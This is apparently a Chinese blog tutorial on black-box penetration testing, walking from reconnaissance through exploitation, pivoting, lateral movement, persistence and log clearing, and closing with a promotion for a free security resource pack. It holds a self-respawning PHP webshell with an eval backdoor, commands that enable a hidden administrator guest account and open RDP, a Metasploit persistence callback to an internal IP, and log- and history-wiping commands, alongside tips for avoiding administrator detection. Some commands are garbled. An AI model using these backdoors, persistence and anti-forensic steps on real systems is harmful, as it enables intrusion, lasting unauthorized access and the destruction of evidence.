渗透测试攻防全流程实战指南,从信息收集到权限拿下全套技术要点
渗透测试是通过模拟黑客攻击的方式,系统性地检测网站存在的安全漏洞和潜在风险。测试完成后,我们将出具详细的评估报告,客户可根据报告中的专业建议及时修复漏洞,有效提升网站的安全防护能力。
开展渗透测试必须事先获得用户的正式授权,未经客户许可擅自对网站进行渗透测试属于违法行为。我国于去年6月1日正式实施的《网络安全法》已对网络犯罪行为作出明确规定,具体条款可参考《网络安全法》相关规定。
渗透测试分为白盒测试和黑盒测试
- 白盒测试是一种在掌握目标系统源代码及相关信息的基础上进行的渗透测试方法,其本质类似于代码审计分析。
- 黑盒测试是指仅提供目标网站的URL地址,不透露任何其他信息,要求测试人员以黑客视角对网站进行渗透评估。
我们现在就模拟黑客对一个网站进行渗透测试,这属于黑盒测试,我们只知道该网站的URL,其他什么的信息都不知道。接下来,我就给大家分享下黑盒渗透测试的流程和思路!当我们确定好了一个目标进行渗透之后,第一步该做的是什么呢?
信息收集
首先进行信息收集工作,正所谓知己知彼百战百胜。通过分析网站URL,我们可以获取以下关键信息:网站IP地址、操作系统类型、使用的脚本语言,以及服务器上托管的其他网站等详细信息。
漏洞探测
当我们收集到了足够多的信息之后,我们就要开始对网站进行漏洞探测了。
探测网站是否存在一些常见的Web漏洞,比如:
SQL注入
XSS跨站脚本
CSRF跨站请求伪造
XXE漏洞
SSRF服务端请求伪造漏洞
文件包含漏洞
文件上传漏洞
文件解析漏洞
远程代码执行漏洞
CORS跨域资源共享漏洞
越权访问漏洞
目录浏览漏洞和任意文件读取/下载漏洞
struts2漏洞
JAVA反序列化漏洞
这些是网站经常发现的一些漏洞,还有一些网站漏洞,这里我就不一一列举出来了。
网站漏洞扫描工具也有很多,比如:
- AWVS
- AppScan
- Owasp-Zap
- Nessus
网站漏洞扫描工具我就列举这几种,还有很多,最常用的是这几个!
漏洞利用
发现网站存在漏洞后,我们需要进行漏洞利用。由于不同漏洞需要使用特定的工具,且单一漏洞通常难以直接获取webshell,因此往往需要综合利用多个漏洞才能成功获取webshell。
常用的漏洞利用工具如下:
- SQL注入
- XSS跨站脚本
- 抓包改包工具
文件上传漏洞,上传漏洞的话,我们一般会上传一句话木马上去,进而再获得webshell。但是获得了webshell后,一般权限很低,所以我们需要提权,可以选择反弹一个MSF类型的shell提权:Metasploit Framework(MSF) 、 Msfvenonm生成一个后门木马,也可以反弹一个CobaltStrike类型的shell:Cobalt Strike, 也可以MSF和CobaltStrike联动:MSF和CobaltStrike联动 也可以使用其他提权:Windows 、 Linux
内网转发
当我们获取到了网站的Webshell之后,如果我们想获取该主机的有关信息,我们可以将该主机的webshell换成MSF的shell。直接生成一个木马,然后在菜刀中执行该木马,我们就能接收到一个MSF类型的shell了。
要进一步探测内网主机信息,需要通过内网转发来实现。由于无法直接与内网主机通信,我们需要借助已获取的webshell服务器作为跳板来建立连接。
**
**
内网横向渗透
当我们在获取了外网服务器的权限,进入该系统后,我们要想尽办法从该服务器上查找到我们想要的信息。
针对 Windows 主机,建议多浏览系统目录,往往能发现意外收获。许多用户习惯将账号密码等易遗忘信息存放在备忘录或桌面上。此外,还可查找数据库连接文件,获取数据库的账号密码等敏感信息。
获取 Windows 主机账号密码或创建新用户后,为避免被网站管理员发现及影响服务器正常运行,建议避免使用远程桌面连接。远程桌面操作较为明显,若管理员同时登录,会导致其被强制登出,进而很快被发现并踢出。
若必须使用远程桌面,建议不要新建用户登录,可采取以下方式:
- 激活 Guest 用户
- 将其加入 Administrators 组
- 使用 Guest 身份登录
通过 RDP 远程登录后,可查看其他用户桌面及目录中的软件,重点关注以下目标:
- FTP相关的软件
- 数据库相关的软件
打开浏览器,查看历史记录,查看某些网站是否保存有用户密码。利用工具查看浏览器保存的密码,从该主机上找到的账号密码,我们可以做一个字典,在对内网其他机器进行爆破的时候,很有可能是同密码。
net user guest /active:yes #激活guest用户 net localgroup administrators guest /add #将guest用户添加到net user guest 密码 #更改guest用户密码REGADDHKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f #开启3389端口对于Linux主机,我们可以查看开放的端口号,开放的服务,与其建立连接的内网主机。查看目录,查找网站数据库连接密码。总之,就是尽可能的多查找一些账号密码,这对于内网的账号爆破非常有用。
在搭建了隧道可以通内网后,我们首先就需要对内网进行资产发现了。但是对于内网存活网段的判断是一个大问题。内网很有可能同时存在 10.0.0.0/8、172.16.0.0/16、192.168.0.0/24 网段。这就需要我们用扫描器对其进行探测了。通过代理进行内网扫描不建议使用nmap。如果是在本地主机通过代理扫描,可以图形化界面的话,可以使用 RouterScan 、御剑高速TCP全端口扫描器、IIS_Scanner。但是注意线程调低一点,不然代理很容易崩了。如果使用命令行扫描器的话,可以使用S扫描器。在扫描了内网资产和端口开放情况后,对于445端口,就可以打一波MS17_010。但是注意通过代理打445,和之前的是不一样的。对于3389端口,可以打一波CVE-2019-0708。对于1433/3306/6379等端口,可以尝试爆破,利用之前收集到的账号密码成功率更高哦。
**
**
权限维持
获取目标主机权限后,往往无法立即获取关键信息,特别是在内网渗透中,通常需要长期潜伏并持续收集情报。此时,权限维持就显得尤为重要,必须确保已获得的访问权限不被中断。
Web后门
1:隐藏后门文件(将文件设置为隐藏)
2:不死马,该脚本每5秒向服务器创建test.php,并写入一句话免杀木马。结合attrib命令隐藏文件更好地建立后门。
<?php set_time_limit(0);//程序执行时间 ignore_user_abort(1);//关掉终端后脚本仍然运行 unlink(__FILE__);//文件完整名 while(1){ file_put_contents('test.php','<?php $a=array($_REQUEST["x"]=>"3"); $b=array_keys($a)[0]; eval($b);?>'); sleep(5); }?>3:404页面隐藏后门,或者在其他自带文件中插入后门代码
注:以上几种后门方法均能被D盾等工具检测到
Windows系统
1:建立隐藏用户,在用户名后加 $
2:在开机启动目录下放置木马文件,只要目标机器重启,将回连我们的远控
3:MSF里的 persistence 模块,执行命令可以使目标机器每隔一定时间自动回连远控。但是容易被发现
#反弹时间间隔是5s 会自动连接192.168.27的4444端口,缺点是容易被杀毒软件查杀 runpersistence-X -i5-p8888-r 192.168.10.27 #然后它就在目标机新建了这个文件:C:\Windows\TEMP\CJzhFlNOWa.vbs ,并把该服务加入了注册表中,只要开机就会启动4:在域环境下,想办法获得 krbtgt 用户的哈希,该用户的哈希可以进行票据传递攻击。而且一般该用户的密码不经常改变。
5:shift后门
6:远程桌面会话劫持
Linux系统
1:SSH后门
2:crontab定时任务
3:SSH公钥
4:创建SUID=0的用户
痕迹清除
成功入侵网站后,有些人可能仅仅为了挂黑页炫耀,或是植入后门当作"肉鸡"随时访问,甚至偷偷植入挖矿木马。但必须提醒大家:这些行为都是违法的!
本教程仅介绍渗透后如何部分清理痕迹,但需注意完全清除入侵痕迹是不可能的。我们的目标是增加管理员追查的时间和人力成本。只要管理员决心调查,无论如何清理都可能被发现。因此,关键是要做好身份隐藏,最佳做法是在渗透前使用代理,并在渗透后及时清理痕迹。
Windows系统
1:如果是windows系统,可用MSF中的 clearev 命令清除痕迹
2:如果3389远程登录过,需要清除mstsc痕迹
3:执行命令清除日志:
del %WINDR%\*.log/a/s/q/f4:如果是web应用,找到web日志文件,删除
Linux系统
1:如果是Linux系统,在获取权限后,执行以下命令,不会记录输入过的命令
exportHISTFILE=/dev/nullexportHISTSIZE=02:删除 /var/log 目录下的日志文件
3:如果是web应用,找到web日志文件,删除
撰写渗透测试保告
在完成了渗透测试之后,我们就需要对这次渗透测试撰写渗透测试报告了。明确的写出哪里存在漏洞,以及漏洞修补的方法。以便于网站管理员根据我们的渗透测试报告修补这些漏洞和风险,防止被黑客攻击!
如何系统学习网络安全/黑客?
网络安全不是「速成黑客」,而是守护数字世界的骑士修行。当你第一次用自己写的脚本检测出漏洞时,那种创造的快乐远胜于电影里的炫技。装上虚拟机,从配置第一个Linux环境开始,脚踏实地从基础命令学起,相信你一定能成为一名合格的黑客。
如果你还不知道从何开始,我自己整理的282G的网络安全教程可以分享,我也是一路自学走过来的,很清楚小白前期学习的痛楚,你要是没有方向还没有好的资源,根本学不到东西!
下面是我整理的网安资源,希望能帮到你。
😝需要的话,可以V扫描下方二维码联系领取~
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
1.从0到进阶主流攻防技术视频教程(包含红蓝对抗、CTF、HW等技术点)
2.入门必看攻防技术书籍pdf(书面上的技术书籍确实太多了,这些是我精选出来的,还有很多不在图里)
3.安装包/源码
主要攻防会涉及到的工具安装包和项目源码(防止你看到这连基础的工具都还没有)
4.面试试题/经验
网络安全岗位面试经验总结(谁学技术不是为了赚$呢,找个好的岗位很重要)
😝需要的话,可以V扫描下方二维码联系领取~
因篇幅有限,资料较为敏感仅展示部分资料,添加上方即可获取👆
如果二维码失效,可以点击下方👇链接去拿,一样的哦
【CSDN大礼包】最新网络安全/网安技术资料包~282G!无偿分享!!!
